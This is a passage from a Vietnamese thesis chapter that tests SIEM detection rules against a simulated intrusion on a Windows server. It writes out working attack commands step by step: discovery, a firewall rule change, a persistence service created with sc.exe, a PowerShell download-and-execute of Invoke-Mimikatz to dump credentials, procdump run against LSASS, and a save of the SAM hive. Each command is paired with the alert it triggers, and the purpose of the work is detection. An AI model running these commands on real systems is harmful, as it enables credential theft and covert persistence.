CHƯƠNG 3 TRIỂN KHAI VÀ ĐÁNH GIÁ HỆ THỐNG
3.3 Thiết kế kịch bản thử nghiệm tập luật
3.3.2 Kịch bản tấn công máy chủ Windows [1]
Mô tả: Một trong những kịch bản tấn công phổ biến hiện nay là kẻ tấn công sẽ thực hiện gửi một email có nội dung độc hại tới người dùng. Khi người dùng vô tình click vào các tệp đính kèm có chứa mã độc, một kết nối sẽ được gửi về máy chủ C&C. Từ đây, kẻ tấn công có thể thực hiện tải mã độc để duy trì tính liên tục trong kết nối đến máy nạn nhân và trích xuất các thông tin quan trọng làm bàn đạp tấn công các hệ thống khác. Kẻ tấn công có thể thực hiện một kịch bản tấn công như sau:
Bước 1: Sau khi có được phiên kết nối tới máy nạn nhân, hắn sẽ thực hiện liệt kê các cấu hình mạng trên hệ thống.
77
+) Lệnh: arp -a
+) Lệnh: net view \\127.0.0.1
+) Lệnh: netsh advfirewall firewall show rule name=all dir=in type=dynamic Khi đó, luật [Windows Discovery] Windows discovery: System network
configuration sẽ kích hoạt cảnh báo trên SIEM
Để thu thập thông tin về các kết nối mạng hiện có trên máy chủ, kẻ tấn công có thể sử dụng lệnh:
+) Lệnh: netstat -a
+) Lệnh: net share
+) Lệnh: net sessions
Khi đó, luật [Windows Discovery] Windows discovery: System network connection sẽ kích hoạt cảnh báo trên hệ thống giám sát SIEM.
Bước 2: Theo kỹ thuật T1012 của MITRE ATT&CK [2], kẻ tấn công có thể truy vấn thông tin về một số dịch vụ thường sử dụng trên hệ thống, được lưu trong các khoá registry. Danh sách một số khoá registry quan trọng có thể tham khảo theo Atomic RedTeam [1].
78
Bước 3: Kẻ tấn công thay đổi cấu hình Windows Firewall cho phép mã độc có thể kết nối ra bên ngoài. Ví dụ:
+) Lệnh: netsh advfirewall firewall add rule name="bkcs-test" dir=in protocol=tcp localport=5555 action=allow profile=any
Khi đó, luật [System Firewall] Disable or Modify SystemFirewall config sẽ kích hoạt cảnh báo tương ứng trên hệ thống SIEM.
Bước 4: Trỏ đường dẫn của khoá registry vào đường dẫn của tệp tin chứa mã độc nhằm duy trì tính liên tục của cuộc tấn công. Ví dụ chạy lệnh sau để tạo service mới trên máy chủ:
+) Lệnh: sc.exe create "RevBKCS" binPath="duong_dan_ma_doc".
Nếu tạo thành công service mới trên máy nạn nhân, hắn sẽ có thêm nhiều backdoor để duy trì cuộc tấn công.
Để khởi chạy dịch vụ độc hại vừa tải lên, sử dụng lệnh bên dưới. +) Lệnh: sc.exe start "RevBKCS"
Để xoá một dịch vụ nhằm che giấu thông tin, sử dụng lệnh bên dưới. +) Lệnh: sc.exe delete "RevBKCS"
Khi đó, luật [Windows Service] Add or Modify system service sẽ kích hoạt cảnh báo tương ứng trên SIEM.
Bước 5: Tải thêm một số công cụ độc hại để phục vụ dump credential trên máy của nạn nhân. Ví dụ, lệnh bên dưới để tải Minikazt về thực hiện dump một số thông tin quan trọng trên máy mục tiêu.
+) Lệnh: powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProj ect/Empire/master/data/module_source/credentials/Invoke-
Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
Khi đó, luật [Powershell] Powershell downloaded and/or executed sẽ kích hoạt cảnh báo tương ứng trên SIEM.
Bước 6: Ngoài Minikazt, kẻ tấn công có thể sử dụng thêm một số công cụ khác như procdump.exe. Đây là một tiện ích cho phép trích xuất thông tin trong tiến trình LSASS của Windows.
+) Chạy lệnh: powershell.exe -exec bypass -C "Invoke-WebRequest -Uri https://live.sysinternals.com/procdump64.exe -OutFile C:\procdump64.exe"
Sử dụng procdump để dump thông tin trong tiến trình LSASS. +) Lệnh: C:\procdump64.exe -ma lsass.exe
79
Lấy thông tin đăng nhập cục bộ được lưu trong tệp SAM của máy tính. +) Lệnh: reg save hklm\sam sam
Khi đó, luật [Credential dumping] Suspicious windows processes sẽ kích hoạt cảnh báo tương ứng trên SIEM.
Kết quả trên SIEM sẽ có một số cảnh báo ghi lại một số hành vi nghi ngờ tấn công trên máy chủ:
Do cấu hình Dispatch New Event theo Source IP nên các cảnh báo sẽ được nhóm vào chung một Offense dựa trên địa chỉ IP nguồn. Trong mỗi Offense sẽ chứa các sự kiện tương ứng kích hoạt cảnh báo.
80
Trên SIEM sẽ ghi lại logs tương ứng với các hành vi đã thực hiện trên máy nạn nhân. Ví dụ đoạn logs bên dưới ghi lại việc khởi chạy dịch vụ với tiện ích sc.exe.
Khi thiết lập Windows GPO như cấu hình đề xuất [Bảng 2.2], trong logs sẽ ghi lại được thông tin về tiến trình và các tham số sử dụng. Nếu dùng Sysmon, trong logs có thể ghi lại được thông tin của tiến trình cha đã gọi nó như Parent Process Path, ParentCommandLine. Theo mặc định, tính năng này không có trên logs của hầu hết các bản Windows, mà chỉ có trên một số bản Windows gần đây. Sau khi cấu hình Windows GPO, trong logs cũng đã bổ sung thêm khá nhiều thông tin có ích cho việc giám sát, nhưng có một số sự kiện vẫn cần đến Sysmon mới có thể ghi lại được logs. Ví dụ như logs liên quan đến việc sử dụng procdump để trích xuất thông tin trong tiến trình LSASS.
81